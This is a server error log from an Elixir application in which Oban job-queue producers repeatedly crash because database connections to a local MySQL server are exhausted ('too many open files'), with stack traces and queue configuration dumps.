    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "reports"}}}}, meta: %{name: Oban, node: "demo", queue: "reports", started_at: ~U[2026-09-05 23:43:56.237863Z], limit: 3, uuid: "d633dd85-34e0-4200-b5cc-476e5a9a04ca", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 23:43:56.237870Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "reports"}}}}, dispatch_timer: #Reference<0.2525715032.1099431938.27669>, refresh_timer: #Reference<0.2525715032.1099431938.27656>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 23:44:08.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "webhooks"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1048ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "webhooks"}}}}, meta: %{name: Oban, node: "demo", queue: "webhooks", started_at: ~U[2026-09-05 23:43:56.240693Z], limit: 5, uuid: "de5c06de-4e38-4a0f-9093-0e72a2b3c5c3", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 23:43:56.240699Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "webhooks"}}}}, dispatch_timer: #Reference<0.2525715032.1099431938.27670>, refresh_timer: #Reference<0.2525715032.1077411843.260904>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 23:44:08.237000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "default"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 829ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "default"}}}}, meta: %{name: Oban, node: "demo", queue: "default", started_at: ~U[2026-09-05 23:43:56.239210Z], limit: 10, uuid: "2ef0ee0a-8a21-4949-94e3-26c4930f4352", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 23:43:56.239215Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "default"}}}}, dispatch_timer: #Reference<0.2525715032.1099431938.27668>, refresh_timer: #Reference<0.2525715032.1099431938.27665>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 23:44:08.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "high"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 891ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "high"}}}}, meta: %{name: Oban, node: "demo", queue: "high", started_at: ~U[2026-09-05 23:43:56.239353Z], limit: 50, uuid: "e65829e1-a920-4945-a2cd-09add9cb5266", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 23:43:56.239358Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "high"}}}}, dispatch_timer: #Reference<0.2525715032.1099431938.27671>, refresh_timer: #Reference<0.2525715032.1121189889.135392>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 23:44:08.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "mailers"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 899ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "mailers"}}}}, meta: %{name: Oban, node: "demo", queue: "mailers", started_at: ~U[2026-09-05 23:43:56.239404Z], limit: 20, uuid: "2827461c-bac8-487c-93f9-a7a52a45119b", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 23:43:56.239409Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "mailers"}}}}, dispatch_timer: #Reference<0.2525715032.1068498948.26897>, refresh_timer: #Reference<0.2525715032.1068498948.26863>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 23:44:09.485000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.588.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 23:44:09.851000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.589.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 23:44:13.481000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.590.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 23:44:15.323000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.586.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 23:44:16.028000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.593.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 23:44:16.546000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.591.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 23:44:17.742000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.584.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 23:44:20.235000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "default"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1091ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "default"}}}}, meta: %{name: Oban, node: "demo", queue: "default", started_at: ~U[2026-09-05 23:44:08.239453Z], limit: 10, uuid: "177c0ab1-7ad7-4d81-b7b5-695086c06372", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 23:44:08.239458Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "default"}}}}, dispatch_timer: #Reference<0.2525715032.1068498948.27229>, refresh_timer: #Reference<0.2525715032.1068498948.27197>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 23:44:20.237000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "webhooks"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 846ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "webhooks"}}}}, meta: %{name: Oban, node: "demo", queue: "webhooks", started_at: ~U[2026-09-05 23:44:08.239288Z], limit: 5, uuid: "d764d423-20bd-4544-b19d-ff09024e6100", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 23:44:08.239294Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "webhooks"}}}}, dispatch_timer: #Reference<0.2525715032.1077411843.261059>, refresh_timer: #Reference<0.2525715032.1077411843.261038>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 23:44:20.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "low"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1072ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "low"}}}}, meta: %{name: Oban, node: "demo", queue: "low", started_at: ~U[2026-09-05 23:44:08.239271Z], limit: 5, uuid: "857d8fad-ddc9-4b93-81e8-e73c1e2f2115", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 23:44:08.239277Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "low"}}}}, dispatch_timer: #Reference<0.2525715032.1068498948.27230>, refresh_timer: #Reference<0.2525715032.1068498948.27195>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 23:44:20.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "high"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1079ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "high"}}}}, meta: %{name: Oban, node: "demo", queue: "high", started_at: ~U[2026-09-05 23:44:08.239573Z], limit: 50, uuid: "7b4cd747-95a8-40be-a4ab-a0dfeecf1b06", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 23:44:08.239578Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "high"}}}}, dispatch_timer: #Reference<0.2525715032.1077411843.261061>, refresh_timer: #Reference<0.2525715032.1121189889.135552>, dispatch_cooldown: 5, running: %{}}
